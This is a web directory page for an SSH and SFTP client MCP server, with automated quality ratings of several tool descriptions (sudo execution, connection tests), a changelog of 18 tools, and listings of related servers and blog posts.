A single, clear sentence with no unnecessary words or repetition, earning its place by being concise and informative.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 4 parameters and no output schema, the description is too brief. It omits important context like the need for a prior SSH connection (sessionId), prerequisite steps, expected behavior, and potential side effects, leaving an agent underinformed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% so baseline is 3. The description adds no additional meaning beyond what the schema already provides, such as explaining the relationship between sessionId and previous steps or when sudoPassword is required.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'execute' and the resource 'command with sudo privileges on the remote server', effectively distinguishing it from sibling tools like `ssh_exec` which executes without sudo.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies use when sudo privileges are needed, but does not explicitly state when not to use it or mention the sibling `ssh_exec` as an alternative for non-sudo commands.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_test_all_connectionsA
Test connections to all configured servers and report status.
| Name | Required | Description | Default |
|---|---|---|---|
| parallel | No | Test connections in parallel (faster) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description only states it tests connections and reports status. Lacks details on whether it's destructive, timeout behavior, or format of status report (aggregate vs per-server).
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with verb first ('Test'), no redundancy, perfectly sized for the simple tool.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Adequate for a straightforward test tool with one parameter. Could benefit from describing the output format, but not critical given the action is clear.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers the single parameter 'parallel' (100% coverage). Description adds context that parallel is 'faster', providing marginal extra meaning beyond the schema's description.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it tests connections to all configured servers and reports status. Distinguishes from sibling ssh_test_connection (single server) and ssh_connect (establish session).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implied use for bulk testing but no explicit guidance on when to use vs alternatives (e.g., ssh_test_connection for testing a single server) or when not to use.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
ssh_test_connectionA
Test SSH/SFTP connection to a configured server without creating a session.
| Name | Required | Description | Default |
|---|---|---|---|
| serverId | Yes | Server ID to test |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations exist, so the description must disclose behavioral traits. It states the tool tests connection without creating a session, but it does not explain what happens on success/failure, the return value, timeout behavior, or authentication requirements. This leaves significant gaps for an agent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, well-formed sentence of 13 words that efficiently conveys the core purpose without any redundancy or irrelevant information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with one required parameter and no output schema, the description is adequate for understanding its basic function. However, it lacks crucial information about the return value, which an agent needs to interpret the result of the test.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has 100% coverage with a clear description for parameter 'serverId'. The tool description does not add extra meaning beyond the schema, so it meets the baseline but does not go beyond.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('Test SSH/SFTP connection') and the resource ('to a configured server'). It also explicitly distinguishes from sibling tools by adding 'without creating a session', which sets it apart from ssh_connect and ssh_connect_by_id.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for testing connectivity without side effects, and the contrast with session-creating tools is clear. However, it does not explicitly mention when not to use it or provide alternatives like ssh_test_all_connections.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
18 tool updates
v1.0.0- First observed
sftp_download - First observed
sftp_ls - First observed
sftp_mkdir - First observed
sftp_read - First observed
sftp_rm - First observed
sftp_stat - First observed
sftp_upload - First observed
sftp_write - First observed
ssh_connect - First observed
ssh_connect_by_id - First observed
ssh_disconnect - First observed
ssh_exec - First observed
ssh_get_server - First observed
ssh_list_servers - First observed
ssh_list_sessions - First observed
ssh_sudo_exec - First observed
ssh_test_all_connections - First observed
ssh_test_connection
TDQS
Tools are cleanly separated by prefix (sftp_ vs ssh_) and each has a distinct action. No overlapping functionality; each tool targets a specific operation.
All tool names follow a consistent pattern of prefix_verb (or verb_noun) in snake_case. The naming is uniform and predictable across both subdomains.
18 tools cover two distinct domains (SFTP and SSH) thoroughly. While slightly above the typical 3-15 range, each tool serves a clear purpose and the count is justified by the dual scope.
The tool set covers essential operations for remote file transfer (SFTP) and command execution (SSH), including connection management and testing. Minor omissions like file renaming or interactive shell exist, but core workflows are well-supported.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
Scoped, audited SSH exec, sessions, and SFTP on your saved servers without exposing credentials
Hosted MCP server connecting claude.ai, ChatGPT and other AI apps to your own computer
- emisarOAuthdev.emisar
Let AI operate servers without SSH. Choose actions, approve risky changes, and audit every step.
Give Claude only the Google Drive files you choose. Every action logged.
Related MCP Servers
- FlicenseBqualityDmaintenanceEnables secure SSH command execution on remote servers and local PowerShell automation through Claude Desktop. Features enterprise-grade security with SSH key authentication, network scanning, and comprehensive logging for Windows and Linux system administration.4-
- AlicenseAqualityCmaintenanceEnables SSH remote access to servers through Claude, allowing users to execute commands, transfer files via SFTP, and manage multiple remote connections using natural language.128MIT
- FlicenseNot gradedqualityNot gradedmaintenanceEnables remote server control via SSH through Claude, supporting command execution, file transfers, and multi-server management with both standard and streamable HTTP protocols.-
- AlicenseNot gradedqualityCmaintenanceExecute commands on remote Linux servers through Claude with an interactive web terminal showing full output while Claude receives smart-filtered summaries for token efficiency. Supports multi-server management, SFTP file transfers, batch scripts, and automation recipes.5MIT
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/moinugare19/ssh-client-mcp'
If you have feedback or need assistance with the MCP directory API, please join our Discord server